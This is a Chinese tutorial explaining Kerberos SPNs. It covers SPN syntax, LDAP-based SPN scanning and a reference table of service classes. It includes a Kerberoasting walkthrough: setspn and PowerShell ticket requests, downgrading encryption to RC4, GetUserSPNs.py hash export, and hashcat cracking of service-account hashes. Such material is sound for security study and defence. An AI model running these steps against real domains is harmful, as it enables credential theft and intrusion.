kerberos中的spn详解
0x01 SPN定义
服务主体名称(SPN)是Kerberos客户端用于唯一标识给特定Kerberos目标计算机的服务实例名称。Kerberos身份验证使用SPN将服务实例与服务登录帐户相关联。如果在整个林中的计算机上安装多个服务实例,则每个实例都必须具有自己的SPN。如果客户端可能使用多个名称进行身份验证,则给定的服务实例可以具有多个SPN。例如,SPN总是包含运行服务实例的主机名称,所以服务实例可以为其主机的每个名称或别名注册一个SPN。
0x02 SPN扫描
spn扫描也可以叫扫描Kerberos服务实例名称,在Active Directory环境中发现服务的最佳方法是通过“SPN扫描”。通过请求特定SPN类型的服务主体名称来查找服务,SPN扫描攻击者通过网络端口扫描的主要好处是SPN扫描不需要连接到网络上的每个IP来检查服务端口。SPN扫描通过LDAP查询向域控制器执行服务发现。由于SPN查询是普通Kerberos票据的一部分,因此如果不能被查询,但可以用网络端口扫描来确认。
1.SPN格式
SPN = serviceclass “/” hostname [“:”port] [“/” servicename]
serviceclass = mssql
servicename =sql.bk.com
其中:
serviceclass:标识服务类的字符串,例如Web服务的www
hostname:一个字符串,是系统的名称。这应该是全限定域名(FQDN)。
port:一个数字,是该服务的端口号。
servicename:一个字符串,它是服务的专有名称(DN),objectGuid,Internet主机名或全限定域名(FQDN)。
注意: 服务类和主机是必需参数,但 端口和服务名是可选的,主机和端口之间的冒号只有当端口存在时才需要
2.常见服务和spn服务实例名称
MSSQLSvc/adsmsSQLAP01.adsecurity.org:1433
Exchange
exchangeMDB/adsmsEXCAS01.adsecurity.org
RDP
TERMSERV/adsmsEXCAS01.adsecurity.org
WSMan / WinRM / PS Remoting
WSMAN/adsmsEXCAS01.adsecurity.org
Hyper-V Host
Microsoft Virtual Console Service/adsmsHV01.adsecurity.org
VMWare VCenter
STS/adsmsVC01.adsecurity.org
2.SPN扫描的ps脚本
发现mssql服务中的spn服务实例名称:
https://github.com/PyroTek3/PowerShell-AD-Recon/blob/master/Discover-PSMSSQLServers
其他的SPN服务实例名查询:
https://github.com/PyroTek3/PowerShell-AD-Recon
由于每台服务器都需要注册用于Kerberos身份验证服务的SPN,因此这为在不进行端口扫描的情况下收集有关环境的信息提供了一个完美的方法。
例如:
管理员在名为“MetcorpKCS17”的服务器上安装和配置Microsoft SQL Server,并使用侦听端口3170 3&3171的SQL实例。
那么服务类和实例名称产生是这样的:
MSSQLSvc/MetcorpKCS17.adsecurity.org:3170
MSSQLSvc/MetcorpKCS17.adsecurity.org:3171
蓝色的部分是服务类,橙色的部分是计算机的FQDN,绿色的最后一部分是网络端口号由于Kerberos将SPN请求与目录中的现有SPN相匹配,因此最后的数字不一定是服务在服务器上侦听的端口。如上所述,大多数情况下SPN中记录的端口是服务器上的监听端口,并非所有的SPN都包含一个端口。现在,我们有一个更好的方法来发现Active Directory域或森林中的SQL服务器:ServicePrincipalName=MSSQL*
0x03
SPN扫描和破解TGS Tickets
以MSSQL服务配置SPN为例
参考配置地址:
https://technet.microsoft.com/zh-cn/library/bb735885.aspx
1.为 SQL
Server 服务帐户注册SPN
手动注册:
setspn -A MSSQLSvc/myhost.redmond.microsoft.com:1433 accountname
对应的命名实例:
setspn -A MSSQLSvc/myhost.redmond.microsoft.com/instancename accountname
2.查看用户对应的SPN:
setspn -L ruos\sql-service
3.使用ADSI(adsiedit.msc)查看用户属性
4. 在AD上为用户指定服务登陆权限。
GPO_name\Computer
Configuration\Windows Settings\Security Settings\Local Policies\User Rights
Assignment
Log on as a service
5..更改
SQL Server 服务帐户为域用户帐户
6.暴力破解Kerberos
TGS Tickets
由于加密类型是RC4_HMAC_MD5,Kerberos协议第四步TGS-REP将会返回用服务帐户的NTLM密码哈希加密的票据。
7.SPN扫描
setspn -T
domain -q */*
或者
https://github.com/PyroTek3/PowerShell-AD-Recon/
8.请求SPN
Kerberos Tickets
PS C:\>
Add-Type -AssemblyName System.IdentityModel
PS C:\>
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken
-ArgumentList "MSSQLSvc/WEBTST01.ruos.org/SQLEXPRESS"
9. 查看并导出票据
默认配置加密类型是aes256_hmac,tgsrepcrack无法破解,可在服务器组策略指定加密类型为RC4_HMAC_MD5。
GPO_name\Computer Configuration\Windows Settings\Security Settings\Local
Policies\Security Options
Network security: Configure encryption types allowed for Kerberos
10.离线破解
tgsrepcrack(仅对RC4_HMAC_MD5),或者保存hash使用hashcat破解。
导出hash(用于其他加密类型)
GetUserSPNs.py -request -outputfile hash.txt -dc-ip 192.168.6.2 ruos.org/user2
或者从票据中导出 kirbi2john.py
1-40a00000-user2@MSSQLSvc~WEBTST01.ruos.org~SQLEXPRESS-RUOS.ORG.kirbi
S2. hashcat64.exe -m 13100 hash.txt example.dict –force
也可以参考其他破解工具如下:
https://github.com/nidem/kerberoast
https://github.com/coresecurity/impacket
https://github.com/nidem/kerberoast/blob/master/kirbi2john.py
0x04
Active Directory服务主体名称(SPN)的综合参考表
- AcronisAgent:针对Acronis备份和数据恢复软件
- AdtServer:带有ACS的Microsoft System
Center Operations Manager(2007/2012)管理服务器 - afpserver:Apple归档协议
- AgpmServer:Microsoft高级组策略管理(AGPM)
- aradminsvc - 任务主角色服务器
- arssvc - 任务主角色服务器
- bocms:商业化CMS
- BOSSO:商业对象
- CESREMOTE:与VMWare上的Citrix VDI解决方案有关,许多VDI工作站都有这个SPN。
- cifs:通用Internet文件系统
- CmRcService:Microsoft系统中心配置管理器(SCCM)远程控制
- CUSESSIONKEYSVR:Cisco Unity VOIP系统
- cvs:CVS库
- Dfsr *:分布式文件系统
- DNS:域名服务器
- E3514235-4B06-11D1-AB04-00C04FC2DCD2:NTDS DC RPC复制
- E3514235-4B06-11D1-AB04-00C04FC2DCD2-ADAM:ADAM实例
- EDVR:ExacqVision服务
- exchangeAB:Exchange通讯簿服务(通常是支持NSPI的域控制器,也通常是所有的GC)
- exchangeMDB:RPC客户端访问服务器角色
- exchangeRFR:交换通讯簿服务
- fcsvr:Apple Final Cut Server
- FileRepService:WSFileRepService.exe
- FIMService:Microsoft
Forefront标识管理器(FIM) - ftp:文件传输协议
- GC:域控制器全局编录服务
- HDFS:Hadoop(Ambari)
- host:主机服务代表主机。HOST SPN用于在创建服务票据时访问由Kerberos协议使用长期密钥的主机帐户。
- http:支持Kerberos身份验证的http网络服务的SPN
- Hyper-V副本服务:Microsoft Hyper-V的副本服务
- IMAP:Internet消息访问协议
- IMAP4:Internet消息访问协议版本4
- ipp:Internet打印协议
- iSCSITarget:iSCSI配置
- kadmin:Kerberos
- ldap:LDAP服务,如域控制器或ADAM实例。
- Magfs:Maginatics MagFS
- mapred:Cloudera
- Microsoft虚拟控制台服务:HyperV主机
- Microsoft虚拟系统迁移服务:P2V支持(Hyper-V)
- mongod:MongoDB Enterprise
- mongos:MongoDB Enterprise
- MSClusterVirtualServer:Windows群集服务器
- MSOLAPSvc:SQL Server分析服务
- MSOLAPSvc.3:SQL Server分析服务
- MSOLAPDisco.3:SQL Server分析服务
- MSOMHSvc:Microsoft系统中心运营经理(2007/2012)管理服务器
- MSOMSdkSvc:Microsoft System
Center Operations Manager(2007/2012)管理服务器 - MSServerCluster:Windows群集服务器
- MSServerClusterMgmtAPI:此群集API需要此SPN才能通过使用Kerberos向服务器进行身份验证
- MSSQL:Microsoft SQL
Server - MSSQLSvc:Microsoft SQL
Server - MSSQL $ ADOBECONNECT:支持Adobe Connect的Microsoft
SQL Server - MSSQL $ BIZTALK:Microsoft SQL
Server支持Microsoft
Biztalk服务器 - MSSQL $ BUSINESSOBJECTS:支持Business Objects的Microsoft
SQL Server - MSSQL $ DB01NETIQ:支持NetIQ的Microsoft SQL
Server - nfs:网络文件系统
- NPPolicyEvaluator:戴尔Quest审计员
- NPRepository 4(CHANGEAUDITOR):戴尔Quest Change
Auditor - NPRepository4(CAAD):戴尔Quest审核员
- NPRepository4(默认):戴尔任务审计员
- NtFrs *:NT文件复制服务
- oracle:Oracle Kerberos身份验证
- pcast:苹果播客制作人
- PCNSCLNT:自动密码同步解决方案(MIIS 2003&FIM)
- POP:邮箱协议
- POP3:邮箱协议版本3
- PVSSoap:Citrix
Provisioning Services(7.1) - RestrictedKrbHost:使用服务类字符串等于“RestrictedKrbHost”的 SPN的服务类,其服务凭单使用计算机帐户密钥并共享会话密钥。
- RPC:远程过程调用服务
- SAP:SAP / SAPService
<SID> - SAS:SAS服务器
- SCVMM:System Center虚拟机管理器
- secshd:IBM InfoSphere
- sip:会话启动协议
- SMTP:简单邮件传输协议
- SMTPSVC:简单邮件传输协议
- SoftGrid: Microsoft应用程序虚拟化(App-V)以前的“SoftGrid”
- STS:VMWare SSO服务
- SQLAgent $ DB01NETIQ:NetIQ的SQL服务
- tapinego:与路由应用程序相关联,例如Microsoft防火墙(ISA,TMG等)
- TERMSRV:Microsoft远程桌面协议服务,又名终端服务。
- tnetd:Juniper Kerberos身份验证
“Tnetd是一个守护进程,用于路由引擎和数据包转发引擎等不同组件之间的内部通信” - vmrc:Microsoft Virtual Server 2005
- vnc:VNC服务器
- VPN:虚拟专用网络
- VProRecovery Backup Exec系统恢复代理7.0
VProRecovery Backup Exec系统恢复代理8.0
VProRecovery Backup Exec系统恢复代理9.0 - VProRecovery诺顿克隆代理12.0
VProRecovery诺顿
克隆代理14.0 VProRecovery诺顿克隆代理15.0 - VProRecovery Symantec系统恢复代理10.0
VProRecovery Symantec系统恢复代理11.0
VProRecovery Symantec系统恢复代理14.0 - vssrvc:微软虚拟服务器(2005)
- WSMAN:Windows远程管理(基于WS-Management标准)服务
- xmpp / XMPP:可扩展消息和呈现协议(Jabber)
- xgrid:苹果的分布式(网格)计算 /
Mac OS X 10.6服务器管理 - YARN:Cloudera
MapReduce
注意:
域控制器自动将公共SPN映射到主机SPN中。计算机加入到域时,主机SPN自动添加到所有计算机帐户的ServicePrincipalName属性。域控制器SPN映射由SPNMappings中的以下位置中的属性控制:
“CN=Directory
Service,CN=WindowsNT,CN=Services,CN=Configuration
SPN自动映射到HOST(SPNMapping属性值):
alerter
appmgmt
cisvc
clipsrv
browser
dhcp
dnscache
replicator
eventlog
eventsystem
policyagent
oakley
dmserver
dns
mcsvc
fax
msiserver
ias
messenger
netlogon
netman
netdde
netddedsm
nmagent
plugplay
protectedstorage
rasman
rpclocator
rpc
rpcss
remoteaccess
rsvp
samss
scardsvr
scesrv
seclogon
scm
dcom
cifs
spooler
snmp
schedule
tapisrv
trksvr
trkwks
ups
time
wins
www
http
w3svc
iisadmin
msdtc
kerberos中的spn详解的更多相关文章
- php中关于引用(&)详解
php中关于引用(&)详解 php的引用(就是在变量或者函数.对象等前面加上&符号) 在PHP 中引用的意思是:不同的变量名访问同一个变量内容. 与C语言中的指针是有差别的.C语言中的 ...
- JavaScript正则表达式详解(二)JavaScript中正则表达式函数详解
二.JavaScript中正则表达式函数详解(exec, test, match, replace, search, split) 1.使用正则表达式的方法去匹配查找字符串 1.1. exec方法详解 ...
- AngularJS select中ngOptions用法详解
AngularJS select中ngOptions用法详解 一.用法 ngOption针对不同类型的数据源有不同的用法,主要体现在数组和对象上. 数组: label for value in a ...
- 【转载】C/C++中extern关键字详解
1 基本解释:extern可以置于变量或者函数前,以标示变量或者函数的定义在别的文件中,提示编译器遇到此变量和函数时在其他模块中寻找其定义.此外extern也可用来进行链接指定. 也就是说extern ...
- oracle中imp命令详解 .
转自http://www.cnblogs.com/songdavid/articles/2435439.html oracle中imp命令详解 Oracle的导入实用程序(Import utility ...
- Android中Service(服务)详解
http://blog.csdn.net/ryantang03/article/details/7770939 Android中Service(服务)详解 标签: serviceandroidappl ...
- python中threading模块详解(一)
python中threading模块详解(一) 来源 http://blog.chinaunix.net/uid-27571599-id-3484048.html threading提供了一个比thr ...
- Android中mesure过程详解
我们在编写layout的xml文件时会碰到layout_width和layout_height两个属性,对于这两个属性我们有三种选择:赋值成具体的数值,match_parent或者wrap_conte ...
- Android中Intent组件详解
Intent是不同组件之间相互通讯的纽带,封装了不同组件之间通讯的条件.Intent本身是定义为一个类别(Class),一个Intent对象表达一个目的(Goal)或期望(Expectation),叙 ...
随机推荐
- 第六章P2P技术及应用
第六章P2P技术及应用 P2P技术在我们日常生活中非常实用,例如我们常用的QQ.PPLive.BitTorrent就是基于P2P技术研发.下面将本章中的重点内容进行归纳. 文章中的Why表示产生的背景 ...
- 首次使用windows管理界面访问安装在UNIX或linux下的DP服务器时提示无权限访问的解决方法
用windwos GUI管理界面连接时提示无权限访问: 在/etc/opt/omni/server/users/userlist 添加一行: "" "*" &q ...
- 产品需求文档(PRD)的写作 【转】
产品需求文档(PRD)的写作 一.文章的摘要介绍 无论我们做什么事都讲究方式方法,写产品需求文档(以下称PRD文档)也是如此,之前我通过四篇文章分享了自己写PRD文档的一些方法,而这一篇文章主要是 ...
- loadrunner socket协议问题归纳(4)---buffer接收变长和定长的数据
测试场景:聊天系统 用户登录后,要先向服务器发送用户名,然后可以发送聊天信息,同时也可以接受聊天信息. 如果接受的字符为定长时,可以设定接受长度.recv buf2 66 #include " ...
- Beta版冲刺前准备
[团队概要] 团队项目名:小葵日记 团队名:日不落战队 队员及角色: 队员 角色 备注 安琪 前端工程师 队长 佳莹 前端工程师 智慧 后端工程师 章鹏 后端工程师 语恳 UI设计师 炜坤 前端工程师 ...
- 【IdentityServer4文档】- 使用密码保护 API
使用密码保护 API OAuth 2.0 协议允许资源拥有者给客户端密码授权:客户端向令牌服务发送用户密码,以获取代表该用户的访问令牌. 该规范建议仅将“资源所有者密码授予”用于“可信”(或旧版)应用 ...
- Lucene 高级搜索
自定义评分 public class MyScoreQuery { public void searchByScoreQuery(){ try { IndexSearcher searcher=new ...
- NULL指针引起的一个linux内核漏洞
NULL指针一般都是应用于有效性检测的,其实这里面有一个约定俗成的规则,就是说无效指针并不一定是 NULL,只是为了简单起见,规则约定只要指针无效了就将之设置为NULL,结果就是NULL这个指针被用来 ...
- Swift-setValuesForKeysWithDictionary
重写 setValuesForKeysWithDictionary 那么字典中可以有的字段在类中没有对应属性 class Person : NSObject { var age :Int = // 重 ...
- 第七周PSP(10.27-11.03)
psp 进度条 项目 细则 总计 代码行数 0 随笔字数 0 知识点 无 累计曲线 饼图